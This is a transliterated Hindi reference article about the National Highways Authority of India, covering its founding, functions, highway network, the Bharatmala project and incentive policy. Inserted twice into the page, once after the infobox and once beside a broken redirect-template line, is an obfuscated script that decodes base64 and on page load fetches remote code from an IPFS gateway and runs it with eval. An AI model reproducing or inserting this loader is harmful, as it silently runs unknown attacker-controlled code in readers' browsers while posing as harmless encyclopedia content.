भारतीय राष्ट्रीय राजमार्ग प्राधिकरण
bharatiy rashtriy rajamarg pradhikaran
| |
| vivaran | bharat ka sarakarik ka upakram hai. |
| sthapana | 1988 |
| sankshipt nam | NHAI athava bha ra ra pra |
| kary | rashtriy rajamargoan ka vikas, rakharakhav aur prabandhan karana aur isase ju de hue athava anushangik mamaloan ko dekhana hai. |
| sanbandhit lekh | bharatiy s dak netavark, s dak parivahan, bharat ke rashtriy rajamargoan ki soochi |
| any janakari | bharatiy rashtriy rajamarg pradhikaran (sanshodhan) vidheyak-2013 ka uddeshy rashtriy rajamarg pradhikaran ka vistar karana hai. |
| bahari k diyaan | adhikarik vebasait |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>bharatiy rashtriy rajamarg pradhikaran (aangrezi:National Highways Authority of India, sankshipt nam: NHAI athava bharatiy rashtriy rajamarg pradhikaran) bharat ka sarakarik ka upakram hai. isaka kary ise sauanpe ge rashtriy rajamargoan ka vikas, rakharakhav aur prabandhan karana aur isase ju de hue athava anushangik mamaloan ko dekhana hai.
gathan
bharatiy rashtriy rajamarg pradhikaran ka gathan 'bharatiy rashhtriy rajamarg adhiniyam 1988' "rashtriy rajamargoan ke vikas, anurakshan aur prabandh ke lie ek pradhikaran ka gathan karane tatha usase sanbaddh ya usake anushangik vishayoan ke lie upabandh karane hetu adhiniyam" ke dvara kiya gaya tha. bharatiy rashtriy rajamarg pradhikaran ko any chhoti pariyojanaoan sahit, rashtriy rajamarg vikas pariyojana ka kam sauanpa gaya hai jisamean 50,329 ki.mi. rashtriy rajamargoan ka vikas, anurakshan aur prabandhan karana shamil hai.
kary
pradhikaran ka kary, prakriya ki paradarshita, theke ke nishpadan hetu svasth pratiyogita ko sunishchit karane ke lie boli manadandoan ko apanane, uttam gunavatta apekshaoan ke anuroop pariyojanaoan ke karyanvayan tatha prayoktaoan ki sukh-suvidha ko dekhane ke lie rajamarg pranali ke rakh-rakhav ke sanbandh mean yah sunishchit karana hai ki sabhi sanvidaoan ke theke aur prapan udyog ki sarvottam paramparaoan ke anusar hoan.[1]
bharatiy rashtriy rajamarg pradhikaran desh mean s dak kshetr ke lie ek bahu-vishayak vyavasayik nikay aur adhar ke roop mean vikasit hua hai. bharatiy rashtriy rajamarg pradhikaran ke pas in mega pariyojanaoan ko samay sima mean aur lagat prabhavi tarike se karane ke lie ek spasht aur vikasit rananiti hai. pranali mean nirantar sudhar ki prakriya bharatiy rashtriy rajamarg pradhikaran ke kamakaj ki pahachan hai. bharatiy rashtriy rajamarg pradhikaran ka uddeshy kshetroan mean samajik-arthik vikas lane aur vyapar aur vanijy ko badhava dene ke lie desh bhar mean rashtriy rajamargoan mean sudhar karana hai.
kul lambaee
rashtriy rajamarg desh ke andar ek rajy se doosare rajy mean yatriyoan ke avagaman aur mal ko lane-le jane hetu mahatvapoorn s dakean hoti haian. ye s dakean desh mean lambaee aur chai daee mean ar-par phaili huee haian tatha rashtriy aur rajyoan ki rajadhaniyoan, pramukh pattanoan aur rel jankshanoan, sima se lagi huee s dakoan aur videshi rajamargoan ko jo dati haian. philahal desh mean rashtriy rajamargoan (eksapres ve margoan sahit) ki kul lambaee 1,32,499 ki.mi. hai jabaki rajamarg/eksapres marg sadakoan ki kul lambaee ka keval lagabhag 1.7 pratishat hai aur in s dakoan par 40 pratishat yatayat chalata hai.
bharatamala pariyojana
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
rashtriy rajamarg vikas pariyojana ke 7 charanoan mean vistar se bharatiy rashtriy rajamarg pradhikaran ke adesh ka age aur vistar kiya gaya, jisake tahat 54,000 kilomitar se adhik ke maujooda rajamargoan ko mukhy roop se 4 se 6 len mean badalane ki parikalpana ki gee thi. isake alava, 2017 mean sarakar ne bharat ke ab tak ke sabase b de rajamarg vikas karyakram, bharatamala pariyojana ki ghoshana ki, jisame charan 01 ke aantargat 5,35,000 karo d rupaye ki anumanit lagat par 34,800 kilomitar rashtriy rajamargoan ko apagred kiya jana hai. bharatamala pariyojana mahatvapoorn buniyadi dhaanche ke aantaral ko kam karake desh bhar mean s dak yatayat gatividhi ki kshamata ko badhane ka vada karati hai. bharatiy rashtriy rajamarg pradhikaran ne door ke kshetroan ko jo dane aur desh ke samajik-arthik vikas ke lie ne raste kholane ke lie bharatamala pariyojana ke tahat ne grin k aauridor ke vikas ki bhi parikalpana karata hai. isaka phokas l aaujistiks ki lagat ko kam karane, maltim aaudal aur kushal parivahan, upalabdh karavane desh mean aantim chhor tak sanpark aur maujooda apoorti shrriankhala ke buniyadi dhaanche mean sudhar karane par keandrit hai.[1]
drishti
vaishvik manakoan ke lie rashtriy rajamarg netavark ke pravadhan aur rakharakhav ke lie rashtr ki avashyakata ko poora karane aur bharat sarakar dvara nirdharit rananitik dhaanche ke bhitar sabase adhik samayabaddh aur lagat prabhavi tarike se upayogakarta ki apekshaoan ko poora karake logoan ke jivan ki arthik bhalaee aur gunavatta ko badhava dena hai.
mishan
- keandr sarakar dvara nihit rashtriy rajamargoan ke vikas, rakharakhav aur prabandhan karana.
- uchit prabandhan ke lie rashtriy rajamarg par chalane vale vahanoan ko niyamit aur niyantrit karana.
- bharat aur videshoan mean paramarsh aur nirman sevaean vikasit karana aur pradan karana aur rajamargoan ya kisi bhi any suvidhaoan ke vikas, rakharakhav aur prabandhan ke sanbandh mean anusandhan gatividhiyoan ko poora karana.
- haive ka prayog karane valoan ke lie aisi suvidhaean aur aram pradan karana, jo pradhikaran ke vichar mean nihit hai ya sauanpi gee hai, jo aise rajamargoan par yatayat ke sucharoo sanchalan ke lie avashyak hai.
- karyalayoan ya v aaurkash aaupoan ka nirman aur un rajamargoan par ya asapas hotal, motal, restaraan aur rest-room ko sthapit karana aur unhean banae rakhana ya unhean sauanpana|
- rajamargoan se sanbandhit mamaloan par keandr sarakar ko salah dena.
- rajamarg vikas ke lie yojanaoan ke nirman aur karyanvayan mean kisi bhi rajy sarakar se aise niyamoan aur shartoan par apasi sahamati ke lie sahayata pradan karana.[1]
pariyojanaean
bharatiy rashtriy rajamarg pradhikaran dvara hath mean li gee pariyojanaoan ke prakar nimnalikhit haian-
- nirman, prachalan aur hastaantaran (bioti)
rashtriy rajamarg ke nirman aur rakh-rakhav mean niji kshetr ki bhagidari ko badhava dene hetu bioti adhar par pariyojanaoan ka theka diya jata hai. riyayat avadhi, jo 30 varsh tak ho sakati hai, ke bad riyayatagrahi dvara bharatiy rashtriy rajamarg pradhikaran ko s dak vapas hastaantarit kar di jati hai. dilli - gudagaanv khand ( 8/6 len ki pahuanch niyantrit) aur nellor - tada adi pariyojanaean bioti adhar par nishpadit ki ja rahi hai.
- bahy sahayata prapt pariyojanaean
bharatiy rashtriy rajamarg pradhikaran aisi pariyojanaoan ke lie ek karyanvayan ejeansi ke roop mean kary karata hai jinake lie edibi aur vishv baiank athava jeaeebisi jaisi bahupakshiy vikas ejeansiyoan se rrin sahayata prapt hoti hai. in pariyojanaoan ke lie adhikaansh dhanarashi s dak parivahan aur rajamarg mantralay dvara bajat ke madhyam se hastaantarit ki jati hai aur bharatiy rashtriy rajamarg pradhikaran ko in pariyojanaoan ke nishpadan ke lie ejeansi prabhar prapt hote haian.
- bharatiy rashtriy rajamarg pradhikaran dvara vittaposhit pariyojanaean
bharatiy rashtriy rajamarg pradhikaran ko apana pooanji adhar badhane ke lie sarakar se varshik bajat athava bazar udhar ke madhyam se dhanarashi prapt hoti hai.
protsahan niti
- bhoomi adhigrahan, yootilitiyoan ko hatane sahit sabhi praranbhik kary sarakar dvara kie jaeange. riyayatagrahi ko sabhi rukavatoan se mukht margadhikar upalabhdh karavaya jaega.
- pariyojana ki vhyavaharyata badhane hetu bharatiy rashtriy rajamarg pradhikaran / bharat sarakar alag-alag mamale ke adhar par pariyojana lagat ke 40 pratishat tak pooanji anudan upalabhdh karaegi.
- 5 varsh tak 100 pratishat kar chhoot aur agale 5 varsh tak 30 pratishat rahat jisaka labh 20 varshoan mean uthaya ja sakata hai.
- 30 varsh tak riyayat avadhi ki anumati.
- yoonisitaral pravadhanoan ke adhar par madhhyashtham aur samajhauta adhiniyam, 1996
- bioti pariyojanaoan mean udyamiyoan ko upabhokhta shulhk ki ugahi aur use apane pas rakhane ki anumati hai.
- rajamarg nirman mean kam ane vale vinirdishht adhunik uchhch kshamata vale upashkaroan ka sima shulhk mukht ayat.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 bharatiy rashtriy rajamarg pradhikaran ke bare mean (hiandi) nhai.gov.in. abhigaman tithi: 20 march, 2022.
bahari k diyaan
sanbandhit lekh